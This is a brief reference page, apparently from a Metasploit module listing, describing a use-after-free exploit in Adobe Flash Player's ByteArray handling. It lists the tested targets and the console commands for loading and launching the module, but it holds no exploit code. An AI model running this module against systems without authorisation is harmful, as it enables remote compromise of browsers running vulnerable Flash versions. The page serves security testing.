Description

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, which can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/browser/adobe_flash_worker_byte_array_uaf
msf exploit(adobe_flash_worker_byte_array_uaf) > show targets
    ...targets...
msf exploit(adobe_flash_worker_byte_array_uaf) > set TARGET < target-id >
msf exploit(adobe_flash_worker_byte_array_uaf) > show options
    ...show and set options...
msf exploit(adobe_flash_worker_byte_array_uaf) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
